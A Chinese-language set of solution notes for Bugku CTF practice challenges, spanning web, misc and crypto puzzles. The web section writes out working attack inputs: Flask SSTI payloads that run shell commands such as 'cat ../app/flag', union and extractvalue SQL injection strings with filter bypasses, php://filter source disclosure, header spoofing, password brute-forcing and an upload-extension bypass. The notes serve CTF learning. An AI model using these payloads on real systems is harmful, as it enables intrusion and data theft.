Bugku
Web
Web1
Des:flag{}。
查看源码即可。
Web2
Des:输入验证码即可得到flag。
输入框有输入长度限制,在控制台修改长度即可。
Web3
Des:flag{}。
通过get传参,按照题目要求直接传入
?what=flag
Web4
Des:post。
方法1
利用hackbar直接post传参。
方法2
利用burp抓包传值。
方法3
编写python脚本。
import requests
s = requests.Session()
r = s.get("<url>")
value = {'what':'flag'}
r = s.post("<url>", value)
print(r.text)
题目更新
Des:看看源代码吧。
查看源代码,发现有两串编码字符串,分别对两个字符串进行URL
解码,按照代码含义将其组合起来,放到控制台Console
里排版。
将if
判断里与a.value
判等的值输入提交框,提交。
获得flag
。
Web5
Des:矛盾。
$num = $_GET['num'];
if (!isnumeric($num)) {
echo $num;
if ($num == 1)
echo 'flag{********}';
}
利用1a
绕过,例:
?num=1a01
Web6
Des:flag{}。
查看源码。
Unicode
编码,解码即可。
Web7
Des:你必须让它停下。
burp抓包,使用重放(Repeater
)模块不断点击go
发送页面,注意查看response
。
Web8
Des:文件包含。
打开题目获得代码:
<?php
extract($_GET)
if (!empty($ac)) {
$f = trim(file_get_contents($fn));
if ($ac == $f) {
echo "<p>This is flag:" ."$flag</p>";
} else {
echo "<p>sorry!</p>";
}
}
?>
按照题目描述,尝试访问flag.txt
,
文件内容为flags
,获得flag
的条件是ac
和fn
严格相等,fn
从flag.txt
进行赋值,通过GET
传参?ac=flags&fn=flag.txt
。
获得flag
。
题目更新
?hello=file('flag.php')
Web9
Des:N/A。
eval("var_dump($$args);") # 调用两次,$($argc)
调用全局变量打印所有内容,尝试GLOBAL
和GLOBALS
。
Simple_SSTI_1
Des:N/A。
页面显示:
You need pass in a parameter named flag。
查看源码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Simple SSTI</title>
</head>
<body>
You need pass in a parameter named flag。
<!-- You know, in the flask, We often set a secret_key variable.-->
</body>
</html>
搜了一下,SECRET_KEY
是Flask
中一个比较重要的变量值。
?flag=flag
# 页面回显flag
?flag=2*2
# 回显4,说明我们传入的数据是被信任的,存在ssti
?flag=app.config['SECRET_KEY']
# 回显报错
?flag=config['SECRET_KEY']
# 获得flag
Simple_SSTI_2
Des:N/A。
页面和上题一样,也是模板注入。
查看源码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Simple SSTI2</title>
</head>
<body>
You need pass in a parameter named flag
</body>
</html>
查看根目录:
?flag={{config.__class__.__init__.__globals__['os'].popen('ls ..').read()}}
执行结果:
app bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var
我们挨个查看目录,从第一个开始:
?flag={{config.__class__.__init__.__globals__['os'].popen('ls ../app/').read()}}
执行结果:
Dockerfile app.py flag gunicorn.conf.py templates
直接查看flag
文件:
?flag={{config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read()}}
获得flag
。
Web10
Des:头等舱。
F12
在Network
查看消息头即可。
计算器
Des:N/A。
尝试输入结果,但只能输入一位字符,查看控制台元素。
找到对应的输入框元素,发现长度被限定为1位,修改后输入正确答案。
获得flag
。
web基础$_GET
Des:N/A。
GET
传参直接在URL
后键入值即可。
在URL
后加上?what=flag
。
获得flag
。
web基础$_POST
Des:N/A。
需要通过POST
方式传入参数flag
,使用hackbar
插件。
获得flag
。
矛盾
Des:N/A。
简单分析可知,GET
传参,获取flag
需要经过两个if判断:1.参数num
不为数字;2.参数获取值为1。
我们可以构造一个字符串,以1
开头的字符串在php
会被判定成功,在URL
后输入?num=1x
。
获得flag
。
域名解析
Des:听说把网址解析到xxx就能拿到flag。
Linux
:
vim /etc/hosts
添加:<url> xxx
。
保存后访问网址。
Windows
同理。
获得flag
。
你必须让他停下
Des:N/A。
页面不断刷新,查看源码
猜测flag
就在网页中,不断刷新使我们无法看到,使用burp
抓包。
拦截页面后发送至Repeater
,不断Go
,查看Response
。
获得flag
。
本地包含
题目已挂。
变量
<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if (isset($_GET['args'])) {
$args = $_GET['args'];
if (!preg_match("/^\w+$/", $args)) {
die("args error!");
}
eval("var_dump($$args);");
}
?>
两个关键点:正则表达式和$\$args
。
此处正则表达式匹配均为字母的串,匹配不成功则报错;$$args
意为可变变量,若$args
代表一个变量,那么$$args
则代表另一个变量。尝试给args
赋一个变量名。
PHP
九大全局变量:
$_POST
[接收post
提交的数据]
$\_GET
[接收GET
提交的数据]
$\_FILES
[文件接收处理]
$\_COOKIE
[获取setCookie()
中的name
值]
$\_SESSION
[存储或获取session
的值]
$\_REQUEST
[有get
,post
的功能,但较慢]
$_SERVER
[预定义服务器的一种变量]
$_GLOBALS
[包含了全部变量的全局组合数组]
$\_ENV
[包含服务器端环境变量的数组,是PHP
中的超级变量,可以在PHP
程序任何位置直接访问]。
依次尝试,当传入?args=GLOBALS
时成功获得flag
。
头等舱
Des:N/A。
查看源码,没有有用信息,尝试御剑扫描后台。
发现md5.php
,进行访问。
通过GET
传参输入a
。
唔,然后返回最开始的网址,使用burp
进行抓包,查看Response
。
获得flag
。
网站被黑
Des:这个题没技术含量但是实战中经常遇到。
给出的访问目录是webshell
,御剑扫描后台,进入shell.php
,此处对密码进行爆破,在shell
处输入密码。
获得flag
。
管理员系统
Des:N/A。
是一个登录窗口,查看控制台元素:
<!-- dGVzdDEyMw== -->
这是Base64
编码,解码获得:
<!-- test123 -->
尝试账密admin/test123
。
页面报错,显示IP
禁止访问,猜测应该是对访问地址进行了限制,尝试利用X-Forwarde-For
修改XFF
头为127.0.0.1
。
百度百科:
XFF
是用来识别通过HTTP
代理或负载均衡方式连接到Web
服务器的客户端最原始的IP
地址的HTTP
请求头字段。
获得flag
。
flag在index里面
Des:N/A。
网页给出一个超链接,点击进行跳转。
猜测这是admin
的密码,查看源码,没有线索,查看URL
,发现一个文件包含漏洞。
这里使用了php
的封装协议,资料:http://php.net/manual/zh/wrappers.php.php。
首先尝试访问http://xxx:port/post/index.php?file=php://filter/resource=index.php。
网页空白,源码也没有有用信息,但是有5w多行,可能flag
藏在里面?
尝试一下base64
编码后访问:http://xxx:port/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
这是一个file
关键字的GET传参
,php://
是协议名,php://filter/
是一种访问本地文件的协议,/read=convert.base64-encode/
表示将其进行base64
编码后进行读取,resource=index.php
就是我们所要访问的目的页面了。
Base64
编码后访问URL
,得到一串加密字符串:
进行Base64
解码:
<html>
<title>Bugku-ctf</title>
<?php
error_reporting(0);
if (!$_GET[file]) {
echo '<a href="./index.php?file=show.php">click me? no</a>';
}
$file = $_GET['file'];
if (strstr($file, "../") || stristr($file, "tp") || stristr($file, "input") || stristr($file, "data")) {
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
获得flag
。
输入密码查看flag
Des:N/A。
URL
:http://xxx:port/baopo/,源码没有有用信息,告知5位数,尝试使用burp
进行数字爆破,范围10000-99999
。
随机输入密码后进行抓包。
然后发送至Intruder
,在Intruder
界面先选择Clear
清除所有Payload
,再选中pwd
后点击Add
。
在Payload
菜单选择攻击字典。
在Options
菜单适当选择攻击线程,加快速度,不过过大的线程可能会导致自己的网络崩溃。
点击右上角的Start Attack
,进入到爆破界面。
可以随时点击后四个菜单栏进行排序,查看有没有特殊情况,喝杯水的时间就能把整个范围跑完,输入产生特殊值的Payload
。
获得flag
。
点击一百万次
Des:JavaScript。
题目已挂。
备份是个好习惯
Des:听说备份是个好习惯。
得到一串编码字符串:
d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e
不晓得这是什么…然后用御剑扫描后台,发现index.php.bak
备份文件,下载使用cat
命令查看。
简单判断,需要进行md5碰撞
获得flag
,而且后台会自动替换掉key
关键字,首先查找常见md5碰撞值
,然后通过复写key
关键字进行绕过:
?kkeyey1=QNKCDZO&&kkeyey2=s878926199a
将构造字符串置于URL
最后,回车访问。
获得flag
。
成绩单
Des:快来查查成绩吧。
输入框依次输入1
,2
,3
并提交,成功回显成绩单,当输入4
时,页面没有回显。
查看源码,没有隐藏信息。在输入框输入1'
,利用最常见的单引号判断是否存在SQL注入,页面没有回显,继续测试列数,猜测有姓名、数学、英语、语文四列,输入1' order by 4#
,页面回显正常,尝试1' order by 5#
,页面没有回显,判断表有四列。接下来尝试爆破库名、表名、字段名。
尝试联合查询,在查询框输入id=1' union select 1,2,3,4#
,将我们的代码通过POST传参
达到执行的目的,页面回显如下,四个表均有回显。
开始爆破库名:id=1' union select 1,2,3,database()#
,获得库名skctf_flag
。
进一步爆破表名:id=1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_name = database()#
,获得两个表:fl4g
和sc
。
爆破字段名:id=1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name = 0x666c3467#
,
ps:尝试使用
table_name = fl4g
时,页面没有回显,将fl4g
转为十六进制,0x
代表引号。
获得字段名:skctf_flag
。
查看字段名内容:id=-1' union select 1,2,3,skctf_flag from fl4g#
。
获得flag
。
秋名山老司机
Des:是不是老司机试试就知道。
打开网页后,是一个计算问题,查看源代码。
每次刷新之后,需要计算的数字都不一样,页面通过POST
方式传值,这里尝试用python
脚本来进行计算:
import requests
import re
s = requests.Session()
r = s.get('<url>')
obj = re.search(r'(\d+[+\-*])+(\d+)', r.text)
d = {
'value': eval(obj.group(0))
}
r = s.post('<url>')
print(r.text)
需要访问网站,还需要利用正则表达式对网站给出的数字进行匹配,所以导入requests
和re
库。
从requests
库导入的类一定要为Session()
,若是使用了session()
,会导致网页刷新,不能获得正确的值。
s
是创建的会话对象,以会话对象向url
发出一个get请求
。
r
用来接受网站访问获得的数据,obj
用来存储进行正则表达式匹配后的值,\d+
表示匹配一个或多个字符,[+\-*]
匹配加号、减号和乘号,但因为减号为特殊符号,这里使用反斜杠\
进行转义。re.search
扫描一个字符串返回第一个匹配成功的值,r.text
为服务器返回页面的内容,r
表示字符串为原始字符串,里面的反斜杠\
不会被认为是转义符。
下面创建字典d
,键为value
,键值为刚才匹配出的式子的值,eval
计算式子的值,group(0)
表示匹配的结果,索引从0
开始,这里指匹配到的式子。
以POST
方式给url
传值,参数data
为默认值,不可更改。
ps:参数之所以为data,是因为用burp抓包显示网页传递值的参数就是data,所以不能更改。
最后打印r.text
里的内容。
我直接运行后由于编码报错。
在终端输入命令chcp 65001
,切换到代码所在目录,python xxx.py
,就能够正常返回结果。
获得flag
。
速度要快
Des:速度要快!!!
查看网页源码:
<html>
<head></head>
<body>
<br>
"我感觉你得快点!!!"
<!-- OK, now you have to post the margin what you find -->
</body>
</html>
用burp
抓包试一下。
抓包后Response
里会有flag
的返回值,经过Base64解码
后得到一个字符串,提交后显示flag
不正确,尝试后发现需要两次Base64解码
。再次尝试Request
,查看Response
,发现flag
后的字符串会变化,而我们还需要通过POST
传值,写一个python
脚本:
import requests
import base64
url = '<url>'
r = requests.Session()
headers = r.get(url).headers
mid = base64.b64decode(headers['flag'])
mid = mid.decode() # 将得到的byte类型值转换为字符串类型,不然使用split()函数会导致类型不匹配报错
flag = base64.b64decode(mid.split(':')[1]) # 截取冒号之后的内容,冒号后有一个空格,所以跳过冒号之后的一个内容
data = {'margin': flag}
print(r.post(url, data).text)
获得flag
。
cookies欺骗
Des:N/A。
打开题目看见一大堆字母,猜测是栅栏密码,可是没法解,抓包试一下。
发现GET
请求的是http://xxx.xxx.xxx/index.php?line=&filename=a2V5cy50eHQ=,filename
后的字符串经Base64解码
后为keys.txt
。
继续观察,发现line
并没有赋值,尝试赋值,页面显示空白,查看源码,没有东西。
下一个思路,尝试用filename
访问常见的index.php
,先将它进行Base64编码
,得到:aW5kZXgucGhw
,尝试访问,页面还是显示空白,查看源码,发现有了<php
。
继续尝试给line
赋值,line=1
时:
line=2
时:
写个python
脚本自动更改line
赋值:
import requests
for i in range(1, 30):
url = '<url>/index.php?line={}&filename=aW5kZXgucGhw'.format(i) # 利用format()函数更改line的值
r = requests.get(url)
print(r.text)
得到php
代码如下:
<?php
error_reporting(0);
$file = base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line = isset($_GET['line'])?intval($_GET['line']):0;
if ($file == '') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array (
'0' = 'keys.txt',
'1' = 'index.php',
);
if (isset($_COOKIE['margin']) && $_COOKIE['margin'] == 'margin') {
$file_list[2] = 'keys.php';
}
if (in_array($file, $file_list)) {
$fa = file($file);
echo $fa[$line];
}
?>
发现有一个keys.php
文件,将其加密后通过filaname
访问,空白页面,页面源码为空,尝试burp
抓包,并把Cookie
改为margin=margin
,查看Response
。
获得flag
。
never give up
Des:N/A。
页面源码如下:
<!--1p.html-->
never never never give up!!!
尝试访问1p.html
页面,但自动跳转到一个论坛,猜测有重定向头,然后直接查看源码:view-source:http://xxx.xxx.xxx.xxx:xxxx/test/1p.html
,获得源码,进行URL解码,Base64解码:
!--%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E--
URL解码。
直接访问f4l2a3g.txt
。
获得flag
。
welcome to bugkuctf
题目已挂。
过狗一句话
题目已挂。
字符?正则?
Des:N/A。
打开题目获得代码:
<?php
highlight_file('2.php');
$key = 'KEY{****************}';
$IM = preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if ($IM) {
die('key is:'.$key);
}
?>
. 匹配除 “\n” 之外的任何单个字符
* 匹配它前面的表达式0次或多次,等价于{0,}
{4,7} 最少匹配 4 次且最多匹配 7 次,结合前面就是匹配 4 到 7 个任意字符
/ 匹配 / ,这里的 \ 是为了转义
[a-z] 匹配所有小写字母
[:punct:] 匹配任何标点符号
/i 表示不分大小写
构造payload
:?id=keykeyaaaaakey:/a/keya:
。
获得flag
。
前女友
题目已挂。
login1
题目已挂。
你从哪里来
Des:N/A。
使用burp
抓包后增加Referer
为https://www.google.com
。
获得flag
。
md5 collision
Des:N/A。
构造?a
,回显:
搜索常见md5碰撞值
,本题使用:?a=s878926199a
。
获得flag
。
程序员本地网站
Des:请从本地访问。
利用插件将XFF
修改为127.0.0.1
。
刷新。
获得flag
。
各种绕过
Des:各种绕过哟。
打开题目获得源码:
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $POST['passwd']) print 'passwd can not be unmae.';
else if (sha1($_GET['uname']) == sha1($_POST['passwd']) & ($_GET['id'] == 'margin')) {
die('Flag:'.$flag);
}
else print 'sorry!';
}
?>
分析代码得知,获得flag的条件是uname
和passwd
不同,且经sha1()函数加密后值相等,id=margin
即可获得flag。
那么我们利用sha1()函数N/A法处理数组的漏洞,首先经过第一处不等判断,在else if
里,左边括号假假为真,总括号真真为真。构造payload
:?id=margin&uname[]=0
,通过hackbar插件POST传参passwd[]=1
。
获得flag
。
细心
Des:想办法变成admin。
打开题目后是一个404
页面,源码啥也没有,尝试使用御剑扫描后台目录。
发现robots.txt
,访问:
访问resusl.php
:
根据下面的GET
传参提示,以及之前的题目描述,尝试构造?x=admin
。
获得flag
。
求getshell
Des:N/A。
是一个上传文件的题目,页面说的很清楚,只允许上传图片格式的文件,先简单写一个php
,修改文件后缀为常见图片格式。
<?php
echo['Hello']
?>
点击提交, 使用burp
抓包。
然后修改Content-Type:multipart/form-data
其中字段的任一值为大写,进行绕过,然后将filename改为xxx.php5
,之所以为php5
是尝试过其他格式后能正确或的flag
的类型,点击提交。
获得flag
。
INSERT INTO注入
Des:不如写个Python吧。
<?php
error_reporting(0);
function getIp() {
$ip = '';
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host = "localhost";
$user = "";
$pass = "";
$db = "";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is:'.$ip;
$sql = "insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
?>
打开题目后直接显示IP
地址。
这道题直接上python
脚本。
获得flag
。
这是一个神奇的登录框
题目已挂。
多次
Des:本题有2个flag。
修改URL后的id
值,id=2
时:
id=3
时:
id=4
时:
id=5
时:
提示SQL注入
了。
构造?id=1' and 1=1 --+
,页面回显:
将and
进行双写:?id=1' anandd 1=1 --+
,页面回显正常,可使用双写绕过。
然后利用异或注入检测被过滤字符,语句:?id=1'^(length('union')!=0)--+
。
若页面回显正常,则说明union
字段长度为0,被过滤,继续尝试,and
、or
、select
关键字均被过滤。
接下来我们进行表名的爆破:?id=-1' uunionnion sselectelect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+
字段爆破:?id=-1' uunionnion sselectelect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+
内容爆破:?id=-1' uunionnion sselectelect 1,group_concat(flag1) from flag1--+
提交后发现并不正确,然后爆破address
的内容:?id=-1' uunionnion sselectelect 1,group_concat(address) from flag1--+
跳转:
大小写和双写绕过都被过滤了。
使用extrcatvalue()函数
进行报错注入。
爆破库名:?id=1' and extractvalue(1,concat(0x7e,database(),0x7e))--+
爆破表名:?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='web1002-2'),0x7e))--+
爆破字段:?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag2'),0x7e))--+
爆破内容:?id=1' and extractvalue(1,concat(0x7e,(select group_concat(flag2) from flag2),0x7e))--+
获得flag
。
PHP_encrypt_1
Des:fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
<?php
function encrypt($data, $key) {
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i = 0; $i < $len; $i++) {
if ($x == $klen) {
$x = 0;
}
$char .= $key[$x];
$x += 1;
}
for ($i = 0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}
?>
直接上php
脚本。
在配置好环境的Linux
终端php xxx.php
运行。
获得flag
。
文件包含2
题目已挂。
flag.php
Des:点了login咋没反应,提示:hint。
御剑扫描后台,没有有效信息。
根据提示,GET
传参?hint=0
,获得代码:
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer']; // cookie = 'ISecer'
if (isset($_GET['hint'])) { // GET传参为hint时,显示此页面
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY") { // 反序列化后的cookie为KEY的值,回显flag
echo "$flag";
}
else {
>?
<html>
<head>
<meta http-equiv="Contene-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="LOGIN" type="button"></p>
</form>
</div>
</body>
</html>
<?php
}
$KEY = 'IScer:www.iscer.com';
?>
审计代码得知,变量KEY
的值为NULL
,测试代码如下:
<?php
print(serialize("$KEY"));
$KEY='flag';
?>
s:0:"";
使用burp
抓包,添加Cookie:ISecer=s:0:"";
。
点击发送。
获得flag
。
sql注入2
Des:全都tm过滤了绝望吗?提示: !,!=,=,+,-,^,%
这道题用不上sql
注入的方法,可以使用DS Store泄露
获得flag
。
python ds_store_exp.py http://xxx.xxx.xxx.xxx:xxxx/web2/.DS_Store
获得flag
。
孙xx的博客
此题已被玩坏。
Trim的日记本
Des:不要一次就放弃。
页面所有功能都能正常使用。
御剑扫描后台试试。
扫出show.php
。
获得flag
。
login2
题目已挂。
login3
题目已挂。
文件上传2
题目已挂。
江湖魔头
未解。
login4
未解。
Web进阶
phpcmsV9
Des:flag在根目录里txt文件里。
给出的页面加载不全,查看源码也没啥有用信息。
看看robots.txt
有没有什么信息呢。
获得flag
。
海洋CMS
Des:flag在根目录某个txt里。
题目已挂。
小明的博客
Des:N/A。
题目已挂。
Bugku-cms1
Des:后台可以getshell哟,flag在根目录。
一串乱码,源码也没信息。
御剑扫后台,啥也没有,上网看了下wp
,题应该被搞坏了。
maccms-苹果cms
Des:N/A。
貌似被搞了…
Bugku-企业管理系统
Des:flag在网站根目录。
题目已挂。
appcms
Des:flag在根目录。
题目已挂。
实战2-注入
bugkucms
bugku导航
又是一个博客
Misc
签到题
Des:N/A。
关注公众号即可。
这是一张单纯的图片
Des:key{}。
图片没什么,WinHex
看看。
最后一段有Unicode编码
。
隐写
Des:N/A。
一张图片,查看属性发现为500×420
,WinHex
修改高度。
telnet
Des:N/A。
wireshark
,搜索flag
。
眼见非实
Des:N/A。
binwalk
发现是zip
文件,解压后依次查找flag
。
代码审计
extract变量覆盖
Des:N/A。
<?php
$flag = 'xxx';
extract($_GET);
if (isset($shiyan)) {
$connect = trim(file_get_contents($flag));
if ($shiyan == $content) {
echo 'flag{xxx}';
} else {
echo 'Oh.no';
}
}
?>
简单分析得出,只要使$flag
和$shiyan
两个变量相等即可,使用置空的方式让其相等,这就是覆盖题目的基本思路。
构造?flag=&shiyan=
。
获得flag
。
分析
flag被盗
Des:flag被盗,赶紧溯源!
给了一个key.pcapng
文件,使用记事本打开。
Ctrl+F
搜索flag
。
获得flag
。
加密
滴答~滴
Des:-… -.- -.-. - ..-. – .. … -.-.。
很简单的Morse加密
,摩尔斯电码转换器:在线进行摩尔斯电码和英文字母的相互转换,可以把莫尔斯电码转换为英文字母,也可把英文字母转换为摩尔斯电码 (zhongguosou.com)。
获得flag
。
聪明的小羊
Des:一只小羊翻过了2个栅栏,KYsd3js2E{a2jda}。
很明显,栅栏加密,栅栏密码在线加密解密 - 千千秀字 (qqxiuzi.cn)。
获得flag
。
ok
Des:Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.
没看懂这是啥…再好好想想。
这是啥,Ook编码
…https://www.splitbrain.org/services/ook。
获得flag
。
这不是摩斯密码
Des:下载看看吧。
这是Brainfuck编码
…https://www.splitbrain.org/services/ook。
获得flag
。
easy_crypto
Des:0010 0100 01 110 1111011 11 11111 010 000 0 001101 1010 111 100 0 001101 01111 000 001101 00 10 1 0 010 0 000 1 01111 10 11110 101011 1111101。
摩斯加密,上脚本。
获得flag
。
简单加密
Des:e6Z9i~]8R~U~QHE{RnY{QXg~QnQ{^XVlRXlp^XI5Q6Q6SKY8jUAA。
这是啥…
A
的ASCII码值为65
,=
的ASCII码值为61
,最后是两个A
,可能是凯撒加密后的Base64
编码。
附上凯撒解密脚本。
获得字符串a2V5ezY4NzQzMDAwNjUwMTczMjMwZTRhNThlZTE1M2M2OGU4fQ==
,Base64 在线编码解码 | Base64 加密解密 - Base64.us。
获得flag
。
散乱的密文
Des:lf5{ag024c483549d7fd@@1},一张纸条上凌乱的写着2 1 6 5 3 4。
试了试栅栏解密的分组数,不对。
获得flag
。
凯撒部长的奖励
Des:就在8月,超师傅出色地完成了上级的特遣任务,凯撒部长准备给超师傅一份特殊的奖励,兴高采烈的超师傅却只收到一长串莫名的密文,超师傅看到英语字串便满脸黑线,帮他拿到这份价值不菲的奖励吧。 密文:MSW{byly_Cm_sIol_lYqUlx_yhdIs_Cn_Wuymul_il_wuff_bcg_pCwnIl_cm_u_Yrwyffyhn_guh_cz_sio_quhn_ni_ayn_bcm_chzilguncihm_sio_wuh_dich_om}。
凯撒密码在线加密解密 - 千千秀字 (qqxiuzi.cn),一位一位尝试,位移20
时得出flag
。
一段Base64
Des:N/A。
给了一大段的Base64
编码,就不贴上来了。
解码。
进行Unescape
解码。
十六进制转文本。
再进行Unescape
。
